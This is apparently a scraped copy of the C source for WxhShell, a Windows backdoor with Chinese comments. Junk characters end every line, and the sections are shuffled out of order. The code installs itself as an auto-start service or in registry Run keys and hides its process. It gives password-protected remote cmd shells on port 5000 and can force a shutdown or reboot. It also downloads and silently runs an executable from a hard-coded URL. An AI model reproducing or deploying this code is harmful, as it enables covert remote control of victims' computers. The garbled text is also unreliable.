    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +* D4(  
    if(Boot(SHUTDOWN)) F[]&1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sg$4G:l  
    else { [#Fg\2bq_y  
    closesocket(wsh); ,LZ(^ u  
    ExitThread(0); 5~U:@Tp  
    } xlw 2g<s  
    break; p8>R#9  
    } (: OHyeNt  
  // 获取shell N&x:K+Zm .  
  case 's': { v.b5iv5  
    CmdShell(wsh); 0!_*S )  
    closesocket(wsh); d$[8w/5Of  
    ExitThread(0); BSDk9Oc  
    break; 7E\gxQ(vU  
  } WgPgG0VJE  
  // 退出 B1+ZFQo  
  case 'x': { qHJ'1~?q  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <r;o6>+  
    CloseIt(wsh); Yrsp%<qj  
    break; G/(*foT8SE  
    } u>|"28y  
  // 离开 50,Y  
  case 'q': { O9*p0%ug  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `p1DaV  
    closesocket(wsh); S+pP!YX  
    WSACleanup(); \xeVDKJH+n  
    exit(1); k/bque  
    break; 6w!e?B2/%  
        } ^ $wJi9D6  
  }  "l2bx  
  } ]#5^&w)'  
5[<F_"x  
  // 提示信息 OpqNEo\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); N8 M'0i?  
} 8f-:d]  
  } ;dOs0/UM&  
Mciq-c)  
  return; JCcQd 01z  
} {,Fcd(MU  
r{Z[xWIX  
// shell模块句柄 SB1[jcJ  
int CmdShell(SOCKET sock) zDd5cxFdZ  
{ X'@f"=v9k  
STARTUPINFO si; hHEPNR[.  
ZeroMemory(&si,sizeof(si)); $+TYvA'N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?`aTu:1#Z  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "& Mou  
PROCESS_INFORMATION ProcessInfo; oAnigu;  
char cmdline[]="cmd"; K7Gm-=%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }9=2g`2Q  
  return 0; F"=Hp4-C  
} Yw[{beo  
"uhV|Lk*7  
// 自身启动模式 5H*>  
int StartFromService(void) h ~fWE  
{ pg!`SxFD  
typedef struct 1I \tu  
{ yLB~P7K  
  DWORD ExitStatus; `oVB!eapl  
  DWORD PebBaseAddress; Xy!&^C` J`  
  DWORD AffinityMask; quRPg)  
  DWORD BasePriority; `VXZ khm  
  ULONG UniqueProcessId; */Cj$KY70  
  ULONG InheritedFromUniqueProcessId; 7t3X`db  
}   PROCESS_BASIC_INFORMATION; ^r4|{  
iN`6xkY  
PROCNTQSIP NtQueryInformationProcess; 0[i}rC9&  
VY_f =  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1vsu[n  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6}STp_x  
obYn&\6  
  HANDLE             hProcess; KK$ a;/  
  PROCESS_BASIC_INFORMATION pbi; [ t$AavU.  
4(8<w cL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Q)T+r~#2B  
  if(NULL == hInst ) return 0; {wv&t R;  
}1F6?do3&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ?$16 A+  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); `[bJYZBc2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (Z 8,e  
lvx]jd\  
  if (!NtQueryInformationProcess) return 0; c>rKgx  
{=6)SBjf  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2!idy]vy_  
  if(!hProcess) return 0; P>fKX2eQ-  
Wz5=(<{S  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -_HRqw,Z0  
h(|;\~  
  CloseHandle(hProcess); Zd+>  
(,U7 R^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !pl_Ao~(  
if(hProcess==NULL) return 0; Rhv%6ekI  
C rfRLsN]  
HMODULE hMod; zu C5@jy.x  
char procName[255]; 2md.S$V$,  
unsigned long cbNeeded; PK}vh%  
MISE C[/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @sdS 0pC  
19) !$Hl  
  CloseHandle(hProcess); %}ixgs7*c0  
 ^ `je  
if(strstr(procName,"services")) return 1; // 以服务启动 ^X^,>Z|  
`yx56  
  return 0; // 注册表启动 {?y<%@  
} )gjGG8 Ee  
4gya]  
// 主模块 wcl!S{  
int StartWxhshell(LPSTR lpCmdLine) 8UYJye8  
{ j)BQMtt&U  
  SOCKET wsl; _<3r'Y,  
BOOL val=TRUE; M_; w %FV  
  int port=0;  VmYBa(  
  struct sockaddr_in door; x*J|i4  
Y6a$gXRT  
  if(wscfg.ws_autoins) Install(); _)q4I(s*  
HGb.656r  
port=atoi(lpCmdLine); V>r j$Nc]  
YLigP"*~^  
if(port<=0) port=wscfg.ws_port; LC76Qi;|k  
ho_4fDv  
  WSADATA data; smbUu/  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aTX]+tBoe  
t%:G|n Sz  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   #.b^E3#+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *.xZfi_|  
  door.sin_family = AF_INET; i j!*CTG  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MorW\7-}  
  door.sin_port = htons(port); IX?@~'  
egbb1+tY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { OFQ{9  
closesocket(wsl); "!^c  
return 1; 'cYQ ?;  
} ze ?CoDx2  
u,\xok"  
  if(listen(wsl,2) == INVALID_SOCKET) { (c<f<D|  
closesocket(wsl); xp(mB7;:  
return 1; HI z9s4Y_  
} $CM4&{B"i  
  Wxhshell(wsl); M",];h(I6(  
  WSACleanup(); }pt-q[s>  
J7_8$B-j7  
return 0; UFos E|r:  
Okk hP  
} s 8Jj6V  
y6bjJ}  
// 以NT服务方式启动 Ty.drM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }\U0[x#q  
{ uO6c3|Zjs  
DWORD   status = 0; pL%4= ]m  
  DWORD   specificError = 0xfffffff; }0vtc[!  
wqf&i^_  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nwhm[AaNs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; FRc  |D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y. T ct.  
  serviceStatus.dwWin32ExitCode     = 0; > e;]mU`,  
  serviceStatus.dwServiceSpecificExitCode = 0; qq/_yt  
  serviceStatus.dwCheckPoint       = 0; jzQ9zy_  
  serviceStatus.dwWaitHint       = 0; ^971<B(v  
T4l-sJ'|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); k-io$  
  if (hServiceStatusHandle==0) return; yB|]LYh  
+A&EKk%$ |  
status = GetLastError(); P&h/IBA_  
  if (status!=NO_ERROR) MwN1]d|6  
{ HK^a:BI  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; <nf=SRZ  
    serviceStatus.dwCheckPoint       = 0; 9DmSs=A  
    serviceStatus.dwWaitHint       = 0; E*h0#m|)  
    serviceStatus.dwWin32ExitCode     = status; bU:V%B?=]  
    serviceStatus.dwServiceSpecificExitCode = specificError; a pKa4nI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g<0w/n!jmC  
    return; Ja^7$WY  
  } !'Gb$l!  
ZWov_  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ^Kb9@lz/  
  serviceStatus.dwCheckPoint       = 0; _T_PX$B  
  serviceStatus.dwWaitHint       = 0; )H.ubM1  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); EUJ1RhajF  
} kbD*=d}3{  
&Jrq5Q C  
// 处理NT服务事件,比如:启动、停止 vR<fdV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {6-;P#Q0_  
{ |+>%o.M&i  
switch(fdwControl) m9v"v:Pw  
{ dCW0^k  
case SERVICE_CONTROL_STOP: {K<~ vj;  
  serviceStatus.dwWin32ExitCode = 0; H f!9`R[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; b,=,px  
  serviceStatus.dwCheckPoint   = 0; iXt4|0  
  serviceStatus.dwWaitHint     = 0; xU#]w6  
  { z<FV1niE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^)(G(=-Rf  
  } u Eu6f  
  return; n$nne6|O  
case SERVICE_CONTROL_PAUSE: 8}ii3Py  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; p)K9 ZI  
  break; D!81(}p  
case SERVICE_CONTROL_CONTINUE: v$qpcu#o  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bM*Pcxv  
  break; AM1/\R  
case SERVICE_CONTROL_INTERROGATE: }G"r3*  
  break; Q>cL?ie  
}; Xi1q]ps  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 50}.Xm@,BO  
} bjU 2UcI"<  
Wm];pqN  
// 标准应用程序主函数 d#X&Fi   
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) <\qY " .`  
{ 3s88#_eT  
5q0BG!A%T  
// 获取操作系统版本 xc:`}4  
OsIsNt=GetOsVer(); =1V>Vd?8.  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -wPuml!hZ|  
S7@ZtFf  
  // 从命令行安装 GGFar\ EzW  
  if(strpbrk(lpCmdLine,"iI")) Install(); j+z'  
AAeQ-nbP  
  // 下载执行文件 Dx p>  
if(wscfg.ws_downexe) { }rFsU\]:q  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) i{%z  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?,A}E|jZ  
} kKFuTem_3  
)Tyky%P+iI  
if(!OsIsNt) { bCJ<=X,g`K  
// 如果时win9x,隐藏进程并且设置为注册表启动 ~(w=U *  
HideProc(); V{7lltu  
StartWxhshell(lpCmdLine); 5n&)q=jk=  
} ==PQ-Ia  
else V{ 4i$'  
  if(StartFromService()) 9Bbm7Gd  
  // 以服务方式启动 mcAH1k e  
  StartServiceCtrlDispatcher(DispatchTable); [Gh%nsH  
else B^Rw?: hN  
  // 普通方式启动 $1Q3Y'Q9  
  StartWxhshell(lpCmdLine); F&nMI:h7  
~Q.8 U3"  
return 0; 'l0eo' K  
} , }xpYq_/  
f4 Sw,A  
1FXzAc(c!  
XcJ'm{=   
=========================================== c0,gfY%sI$  
7cOg(6N  
~/]\iOL  
GlV-}5W  
;%b <uV  
Y_|K,T6Zj@  
" b3CspBgC  
A~yw8v5UF  
#include <stdio.h> ?%8})^Dd>4  
#include <string.h> Q(!}t"u  
#include <windows.h> Kq@m?h  
#include <winsock2.h> [Ls2k&)0  
#include <winsvc.h> )Rm 'YmO  
#include <urlmon.h> :yFTaniJ'.  
g:uaI  
#pragma comment (lib, "Ws2_32.lib") ctwhfS|Y0  
#pragma comment (lib, "urlmon.lib") goBKr: &]w  
@+T{M:&l  
#define MAX_USER   100 // 最大客户端连接数 2F*Dkv  
#define BUF_SOCK   200 // sock buffer )ZQ9a4%  
#define KEY_BUFF   255 // 输入 buffer 4cVs(`g^  
R~x;X3  
#define REBOOT     0   // 重启 x]mye  
#define SHUTDOWN   1   // 关机 /4wm}g9  
vo}_%5v8  
#define DEF_PORT   5000 // 监听端口 +QCU]Fozk  
=ihoVA:|  
#define REG_LEN     16   // 注册表键长度 8KGv?^M 6W  
#define SVC_LEN     80   // NT服务名长度 I/ e2,  
|GVGny<  
// 从dll定义API &EbD.>Ci  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;s!ns N  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); h Vt+%tmNy  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); .SKNIct M  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ; ei<Q =[  
!lt\2Ae  
// wxhshell配置信息 `|ck5DZT5L  
struct WSCFG { 6S+K*/w  
  int ws_port;         // 监听端口 oE|u;o  
  char ws_passstr[REG_LEN]; // 口令 X{9JSq  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4E>/*F!  
  char ws_regname[REG_LEN]; // 注册表键名 C^8)IN=$  
  char ws_svcname[REG_LEN]; // 服务名 U d=gdsL  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3 DO$^JJ.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1>*UbV<R;u  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 J}Z_.:JO(w  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DbNi;m  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" J*q=C%}.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 nV,{w4t+  
R1b )  
}; tr9_bl&z  
'@}?NV0  
// default Wxhshell configuration -$]DO5fY  
struct WSCFG wscfg={DEF_PORT, +(h6{e%)  
    "xuhuanlingzhe", Ivl^,{4  
    1, LP m# 3U  
    "Wxhshell", .xc/2:m9  
    "Wxhshell", 1l`s1C  
            "WxhShell Service", J9$]]\52s.  
    "Wrsky Windows CmdShell Service", ja,L)b:  
    "Please Input Your Password: ", p#8LQP~0$  
  1, P20]>Hg  
  "http://www.wrsky.com/wxhshell.exe", 0F0(]7g^  
  "Wxhshell.exe" %]:vT&M  
    }; ^?S@v1~7d  
>I66R;  
// 消息定义模块 pg& ]F  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w or'=byh\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =Gg)GSL^  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 2I(@aB+  
char *msg_ws_ext="\n\rExit."; w]5f3CIm  
char *msg_ws_end="\n\rQuit."; MF`k~)bDV  
char *msg_ws_boot="\n\rReboot..."; Cak/#1  
char *msg_ws_poff="\n\rShutdown..."; C&s }m0R  
char *msg_ws_down="\n\rSave to "; |uBot#K|  
O^="T^J  
char *msg_ws_err="\n\rErr!";  KHs{/  
char *msg_ws_ok="\n\rOK!"; )hZ}$P1  
5z(>4d!  
char ExeFile[MAX_PATH]; @2Y]p.$q  
int nUser = 0; E.Q} \E  
HANDLE handles[MAX_USER]; Z :i"|;  
int OsIsNt; .Zo9^0`C  
!=Kay^J~.  
SERVICE_STATUS       serviceStatus; x ;?1#W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Kg0\Pvg8?T  
ADl>~3b  
// 函数声明 F~@1n ,[  
int Install(void); 6x3Ew2  
int Uninstall(void); -Fw4;&>  
int DownloadFile(char *sURL, SOCKET wsh); b Ho?Rw!.  
int Boot(int flag); RKJWLofX&  
void HideProc(void); JjO/u>A3;7  
int GetOsVer(void); @Q1F#IU  
int Wxhshell(SOCKET wsl); $O</akn;  
void TalkWithClient(void *cs); \,IDLXqp  
int CmdShell(SOCKET sock); HgBEV  
int StartFromService(void); yI)fu^  
int StartWxhshell(LPSTR lpCmdLine); uY%3X/^j  
/a/uS3&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );  E_I6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c$SxDYG  
~x^+OXf!^g  
// 数据结构和表定义 T9;o.f S  
SERVICE_TABLE_ENTRY DispatchTable[] = d?qO`- ~$  
{ $Qc%9p @i  
{wscfg.ws_svcname, NTServiceMain}, :tDGNz*zG  
{NULL, NULL} XxU}|jTO#  
};   SrU   
3z. >b  
// 自我安装 bDh(;%=  
int Install(void) 0c;"bA0>Sx  
{ cXE y>U|/  
  char svExeFile[MAX_PATH]; (L  
  HKEY key; DmpJzH j|  
  strcpy(svExeFile,ExeFile); ] 8cX#N,M  
+CHO0n  
// 如果是win9x系统,修改注册表设为自启动 F-OZIo  
if(!OsIsNt) { cFNtY~(b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { NU\t3JaR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (8X8<>w~  
  RegCloseKey(key);  KNyD}1  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { S5 oHe4#89  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |;1:$E"  
  RegCloseKey(key); op{(mn  
  return 0; 0QSi\: 1f  
    } {1&,6kJF&9  
  } a}]@o"  
} YG+ Yb{^"  
else { kK6>>lD'  
qhGhUyNX  
// 如果是NT以上系统,安装为系统服务 ~,4Znuin  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =]k_Oq-1h  
if (schSCManager!=0) Rl!WH%;c[X  
{ zW&O>H  
  SC_HANDLE schService = CreateService .4)P=*  
  ( %;B'>$O  
  schSCManager, !g:G{b  
  wscfg.ws_svcname, ?\$/#zak  
  wscfg.ws_svcdisp, }Nc!8'@  
  SERVICE_ALL_ACCESS, .Zz7LG{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , g/Nj|:3  
  SERVICE_AUTO_START, 5DBd [u3  
  SERVICE_ERROR_NORMAL, J_Xf:Mz-  
  svExeFile, U"G+su->e  
  NULL, o;P;=<  
  NULL, (NV=YX?s  
  NULL, WD1$"}R  
  NULL, ~$obcW1  
  NULL -Af`AX  
  ); ] ]-0RJ=S?  
  if (schService!=0) '(:J|DN  
  { TZ]Gl4 @  
  CloseServiceHandle(schService); MX_a]$\ :n  
  CloseServiceHandle(schSCManager); l;FgX+)  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); m1Z8SM+  
  strcat(svExeFile,wscfg.ws_svcname); ~ a&j4E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bg. KkJMrR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); {v'Fg  
  RegCloseKey(key); ! \Kh\  
  return 0; 71ybZ 0  
    } Hx0,kOh)  
  } 4T^WRS  
  CloseServiceHandle(schSCManager); No|{rYYKK  
} 3CRBu:)m  
} cO+`8`kv  
};sm8P{M  
return 1; iR=aYT~  
} ';V+~pi  
3c6)  
// 自我卸载 6>A8#VT  
int Uninstall(void) } ~bOP^'  
{ ];]EK6dzG  
  HKEY key; (3*Hl  
>k-poBw  
if(!OsIsNt) { :Djp\ e6!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SSC!BcC1  
  RegDeleteValue(key,wscfg.ws_regname); MUl+Oy>  
  RegCloseKey(key); kniMXeiu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ]TOY_K8"z#  
  RegDeleteValue(key,wscfg.ws_regname); VX%\_@  
  RegCloseKey(key); /L Tyiiz6  
  return 0; 6K0*?j{;"  
  } A1;t60z+q>  
} nClU 5  
} Agf!6kh  
else { GTe9@d  
(8R M|&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l<6/ADuS  
if (schSCManager!=0) Y{@[)M{<  
{ %syBm  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); K; lC#  
  if (schService!=0) m %3Kq%?O  
  { GTvb^+6  
  if(DeleteService(schService)!=0) { Z&!$G'X  
  CloseServiceHandle(schService); v836nxLM  
  CloseServiceHandle(schSCManager); ?g.w%Mf*  
  return 0; bhYaG i0  
  } y~[So ,G  
  CloseServiceHandle(schService); _m-r}9au   
  } :b-(@a7>  
  CloseServiceHandle(schSCManager); OR{"9)I  
} M XQ7%G  
} \/Y<.#?_  
`,"Jc<R7Z  
return 1; 56dl;Z)  
} Z;:-8 HPDY  
tDkqwF),  
// 从指定url下载文件 -nSqB{s!SD  
int DownloadFile(char *sURL, SOCKET wsh) >6 q@Tr  
{ j>23QPG`6U  
  HRESULT hr; "bH ~CG:Y  
char seps[]= "/"; Q0-~&e_'  
char *token; w6 .HvH-@?  
char *file; `r V,<  
char myURL[MAX_PATH]; |<$O5b'  
char myFILE[MAX_PATH]; kA0 ^~  
VxoMK7'O=/  
strcpy(myURL,sURL); +\Q@7Lj  
  token=strtok(myURL,seps); f*Bc`+G  
  while(token!=NULL) yvvR%]!.  
  { {n'}S(  
    file=token; bE"CSK#  
  token=strtok(NULL,seps); uzD{ewR/.y  
  } Mt`.|N;y!  
b"b!&u  
GetCurrentDirectory(MAX_PATH,myFILE); S]m[$)U%@  
strcat(myFILE, "\\"); ~Ua0pS?  
strcat(myFILE, file); ?9"glzxr  
  send(wsh,myFILE,strlen(myFILE),0); %h rR'*nG  
send(wsh,"...",3,0); }Of^Y@{q.  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _6( =0::x  
  if(hr==S_OK) -6\9B>qa  
return 0; k,,}N 9  
else 3*<W`yed  
return 1; !;-x]_  
Pmb`05\  
} S"l&=J2dc  
teb(\% ,  
// 系统电源模块 >qla,}x  
int Boot(int flag) dXhV]xK  
{ KtE`L4tW6  
  HANDLE hToken; /~:ztv\$M"  
  TOKEN_PRIVILEGES tkp; 78wcMQNX9  
Kt(p|  
  if(OsIsNt) { q$P"o].EK  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _U %B1s3y  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _DQdo  
    tkp.PrivilegeCount = 1; A@+.[[  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; r%4:,{HF  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); "P~>AXcq  
if(flag==REBOOT) { CAO$Zt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) % |V:F.f  
  return 0; 6._):[_2  
} H b.oKo$T  
else { Uka 4iya  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ,7aqrg  
  return 0; 5VfP@{  
} :([,vO:  
  } _19k@a  
  else { A}8U;<\Ig  
if(flag==REBOOT) { IftPN6(Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) %?seX+ne  
  return 0; N ~Gh>{N  
} EifYK  
else { jp|wc,]!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ^H'#*b0u  
  return 0; K^+B"  
} Q5ux**(Wr  
} (@ Bw@9  
9Bn dbS i  
return 1; 7">.{ @S  
} x =k$^V~  
Dqki}k~{  
// win9x进程隐藏模块 ,=FYf|Z  
void HideProc(void) %2.T1X%!  
{ H={,zZ11{  
r?$\`,;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); &nq[Vy0kO4  
  if ( hKernel != NULL ) "F^EfpcJ{9  
  { kDrGl{U}  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); <mxUgU  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ur@3_F  
    FreeLibrary(hKernel); =o {`vv  
  } j>U.(K  
C/XOI >  
return; pT <H&  
} <NUZPX29  
cWi2Sls  
// 获取操作系统版本 mEA w^  
int GetOsVer(void) uQDu<@5^[  
{ NJ~'`{3v  
  OSVERSIONINFO winfo; 0o#lB^e;l  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 5v]xk?Eb  
  GetVersionEx(&winfo); 6 -oQs?  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ` H"5nQRV  
  return 1; NQb?&.C   
  else >U17BGJ.  
  return 0; (HEjmQjE  
} >[#4Pb7_Y  
?FLjvmE9  
// 客户端句柄模块 ?h5Y^}8Qg  
int Wxhshell(SOCKET wsl) 8n56rOW!  
{ m+L:\mvA  
  SOCKET wsh; ;,<s'5icyg  
  struct sockaddr_in client; B::vOg77  
  DWORD myID; TZ/u"' ZS  
"/q6E  
  while(nUser<MAX_USER) wL{Qni3A  
{ 4B |f}7%\  
  int nSize=sizeof(client); pG (8VteH  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?VJ Fp^Ra  
  if(wsh==INVALID_SOCKET) return 1; )TLDNpH?J  
uJ%ql5XDV  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =Ij;I~  
if(handles[nUser]==0) :%0Z  
  closesocket(wsh); U_:/>8})d  
else R\X J  
  nUser++; %c&h:7);  
  } 3KqylC &.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); iaMZ37  
g3y44G CV  
  return 0; KMZ% 1=a  
} S_)va#b#  
! _QU-  
// 关闭 socket 6K,AQ.=V2  
void CloseIt(SOCKET wsh) )t|M)zJ  
{ _H-Lt{k  
closesocket(wsh); :5dq<>~  
nUser--; ,Rf<6/A  
ExitThread(0); 7 `|- K  
} D;Z\GnD  
dfNNCPu]+  
// 客户端请求句柄 Wg#>2)>  
void TalkWithClient(void *cs) s}5;)>3~@  
{ B${Q Y)t  
RSp=If+4  
  SOCKET wsh=(SOCKET)cs; rT x]%{  
  char pwd[SVC_LEN]; >OQ<wO6  
  char cmd[KEY_BUFF]; ETmfy}V8  
char chr[1]; DCHU=r  
int i,j; bk V_ ^8  
z 6p.{M  
  while (nUser < MAX_USER) { j_k!9"bt  
VlK WWQj  
if(wscfg.ws_passstr) { qLcs)&}/A  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &n['#7 <(!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WXJ%bH  
  //ZeroMemory(pwd,KEY_BUFF); -?j'<g0  
      i=0; tFG&~tNc  
  while(i<SVC_LEN) { huO_ARwK'  
-(Yq$5Zc&  
  // 设置超时 R+P1 +5  
  fd_set FdRead; `}18A.K  
  struct timeval TimeOut; ;0 ,-ywK  
  FD_ZERO(&FdRead); emTqbO  
  FD_SET(wsh,&FdRead); Qv#]T,  
  TimeOut.tv_sec=8; 6z~6o0s~  
  TimeOut.tv_usec=0; L9@nx7D  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *S7<QyVh  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); p2\@E} z  
Wq]^1g_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M4`qi3I  
  pwd=chr[0]; Fvg>>HVu  
  if(chr[0]==0xd || chr[0]==0xa) { ,XR1N$LN8_  
  pwd=0; 3~Ah8,  
  break; gd2cwnP  
  } li(g?|AD  
  i++; iOw'NxmY  
    } 2WqjNqx)6  
yH irm|o  
  // 如果是非法用户,关闭 socket a8NL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); WSUU_^.  
} Oo$i,|$$  
usU5q>1  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); wgY: W:y'N  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ttgb"Wb%S  
ym^  
while(1) { 4/cUd=>Z  
%R."  
  ZeroMemory(cmd,KEY_BUFF); }qxw Nmx  
6VW&An[6r  
      // 自动支持客户端 telnet标准   Ub3^Js!b%  
  j=0; I vO#tI  
  while(j<KEY_BUFF) { <8~bb- U$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); M/T ll]\|  
  cmd[j]=chr[0];  BVU>M*k  
  if(chr[0]==0xa || chr[0]==0xd) { Zh,(/-XN;  
  cmd[j]=0; ] %pr1Ey  
  break; # R}sGT  
  } 4'[/gMUkw  
  j++; &Yb!j  
    } @w?hX K=  
saY":fva  
  // 下载文件 c3lU  
  if(strstr(cmd,"http://")) { t 7dcaNBZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); | bDUekjR  
  if(DownloadFile(cmd,wsh)) _ ZMoPEW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); az/NZlJhT  
  else HW"@~-\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 22$M6Qof]n  
  } Y'H|Tk^`  
